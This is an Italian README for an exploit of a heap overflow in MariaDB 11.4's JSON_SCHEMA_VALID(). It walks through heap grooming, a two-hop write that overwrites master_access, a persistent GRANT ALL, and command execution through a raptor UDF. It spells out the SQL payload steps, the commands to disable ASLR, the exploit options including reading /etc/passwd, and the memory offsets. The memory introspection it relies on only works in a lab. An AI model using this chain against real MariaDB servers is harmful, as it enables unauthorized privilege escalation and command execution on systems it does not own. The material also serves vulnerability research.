
# Scrittura OOB nell'heap in MariaDB JSON_SCHEMA_VALID() → escalation dei privilegi persistente (assistita da laboratorio)
Heap buffer overflow in MariaDB JSON_SCHEMA_VALID() → escalatione persistente dei privilegi → RCE via UDF
| Interessati | MariaDB 11.4.x (confermato su 11.4.9) |
| Bug | Scrittura fuori limite in json_get_normalized_string() — strncpy in un DYNAMIC_STRING da 128 byte senza controllo dei limiti |
| Impatto | Utente con solo SELECT → ALL PRIVILEGES WITH GRANT OPTION → esecuzione arbitraria di comandi via UDF |
| Sorgente | sql/json_schema_helper.cc:91 |
Assistito da laboratorio. Lo script usa Docker/introspezione root per leggere
/proc/1/meme scoprire il layout dell'heap per ogni connessione. La catena di exploit vera e propria è SQL puro su TCP. Un exploit weaponizzato richiederebbe una primitiva di info-leak per sostituire il passo di introspezione della memoria.
lowpriv può solo eseguire SELECT sul database test. Le tabelle di sistema sono negate.

Un singolo script Python esegue il heap grooming, una scrittura arbitraria a due salti attraverso i metadati delle variabili utente, persiste l'escalation tramite GRANT ALL, e ottiene l'esecuzione di codice attraverso una UDF:
python3 exploit.py

lowpriv ora ha ALL PRIVILEGES WITH GRANT OPTION, può leggere le tabelle di sistema, leggere/scrivere file arbitrari ed eseguire comandi del sistema operativo come utente mysql. La grant sopravvive al riavvio del server.


┌──────────────────────────────────────────────────────────────────┐
│ SELECT json_schema_valid(overflow), │
│ @ccc...c := hop1, │
│ @aaa...a := hop2 │
└──────────────────────────────────────────────────────────────────┘
│ │ │
▼ ▼ ▼
┌───────────┐ ┌──────────────┐ ┌──────────────┐
│ 192-byte │ │ Write to @c │ │ Write to @a │
│ overflow │ │ through the │ │ through the │
│ corrupts │ │ corrupted │ │ redirected │
│ entry_c's │ │ pointer: │ │ pointer: │
│ value ptr │ │ │ │ │
│ (2-byte │ │ entry_a → │ │ master_access│
│ partial │ │ .value = │ │ = 0xFFFF.. │
│ overwrite)│ │ &master_ │ │ (ALL PRIVS) │
│ │ │ access │ │ │
└───────────┘ │ .length= 9 │ └──────────────┘
└──────────────┘
Heap groom — Più di 100 variabili utente esauriscono la tcache, forzando
Entry_a → Value_a → Entry_b → Value_b → Entry_c → Value_c a essere
allocate consecutivamente.
Overflow — JSON_SCHEMA_VALID innesca uno strncpy di 192 byte oltre
il buffer da 128 byte, corrompendo entry_c→value (sovrascrittura parziale del puntatore di 2 byte
all'interno della stessa pagina da 64 KB) per puntare a entry_a + 32.
Hop 1 — L'assegnazione a @c scrive 126 byte attraverso il puntatore
corrotto nei metadati di entry_a, impostando:
entry_a→value = &Security_context::master_accessentry_a→length = 9Hop 2 — L'assegnazione a @a scrive 8 byte di 0xFF attraverso il
puntatore reindirizzato → .
Dopo la persistenza, il server viene riavviato (crash recovery), e i privilegi escalati vengono usati per installare una libreria condivisa UDF:
LOAD_FILE('/tmp/raptor_udf.so') INTO DUMPFILE '/usr/lib/mysql/plugin/raptor.so'CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'raptor.so'SELECT sys_exec('id > /tmp/pwned')# 1. Build e avvio del container
./setup.sh
# 2. Disabilita ASLR sull'host Docker
sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
# 3. Esegui l'exploit (auto-calibra per ogni tentativo)
python3 exploit.py
# 4. Comando personalizzato
python3 exploit.py --cmd 'cat /etc/passwd > /tmp/out'
/proc/sys/kernel/randomize_va_space = 0)--cap-add SYS_PTRACE (per l'accesso a /proc/1/mem)--calibrate Misura le costanti del layout dell'heap ed esce
--cmd CMD Comando per l'esecuzione UDF della Fase 2 (default: id > /tmp/pwned)
--stage1-only Esegue solo l'escalation dei privilegi, salta la RCE via UDF
--attempts N Numero massimo di tentativi per la Fase 1 (default: 5)
--host HOST Host MariaDB (default: 127.0.0.1)
--port PORT Porta MariaDB (default: 3306)
Lo script dell'exploit entra nel container come root per leggere /proc/1/mem.
Questo viene usato per due cose:
user_var_entry
e verificare che siano adiacenti (entry_a+32 nella stessa pagina da 64KB
come entry_c→value per la sovrascrittura parziale di 2 byte).Security_context — trovare il campo master_access da
colpire con la scrittura a due salti.La scansione viene eseguita inline per ogni tentativo perché il layout dell'heap varia tra le connessioni (anche con ASLR=0) a causa del thread pool di MariaDB che assegna arena diverse. La catena di exploit vera e propria — overflow + hop1 + hop2 — è SQL puro eseguito su una connessione TCP.
In uno scenario reale, un attaccante avrebbe bisogno di una vulnerabilità separata di info-leak (o di un canale laterale) per ottenere questi indirizzi.
entry_a→valuemaster_access = ALL PRIVILEGESPersistenza — La sessione ora detiene tutti i privilegi. GRANT ALL committa
l'escalation nella tabella mysql.global_priv basata su Aria. La sessione
alla fine va in crash durante la pulizia (corruzione residua dell'heap), ma la
GRANT è già checkpointed e sopravvive al riavvio.
| Vincolo | Soluzione |
|---|
STRING_RESULT esegue length++ prima del controllo di realloc | Il payload è di N−1 byte così N−1+1 = N corrisponde alla lunghezza memorizzata → nessuna realloc sul puntatore corrotto |
hop2 da 126 byte corrompe i campi THD oltre Security_context | Imposta entry_a→length = 9 in hop1 così hop2 scrive solo 8 byte (master_access) + 1 NUL |
Offset di master_access in Security_context | 1712 byte dalla base della struct (priv_user[384] + proxy_user[645] + priv_host[256] + priv_role[384] + padding + puntatori) |
| Il crash recovery di Aria esegue il rollback delle scritture non committate | GRANT ALL + SLEEP di 10 s consente il checkpoint di Aria prima del crash di pulizia della sessione |
| Il layout dell'heap varia tra le connessioni (anche con ASLR=0) | La scansione inline di /proc/1/mem per ogni tentativo scopre entry_a e master_access per ogni connessione |
| plugin_dir è di proprietà di root | Il Dockerfile pre-imposta chmod 777 (comodità di laboratorio) |
| File | Descrizione |
|---|
exploit.py | Exploit a due fasi: privesc (SQL su TCP) + RCE via UDF |
raptor_udf.c | Sorgente UDF — sys_exec() chiama system() |
Dockerfile | Immagine del container di laboratorio (compila la UDF, apre plugin_dir) |
init.sql | Crea l'utente lowpriv |
setup.sh | Build e avvio del laboratorio |
screenshots/ | Screenshot del terminale |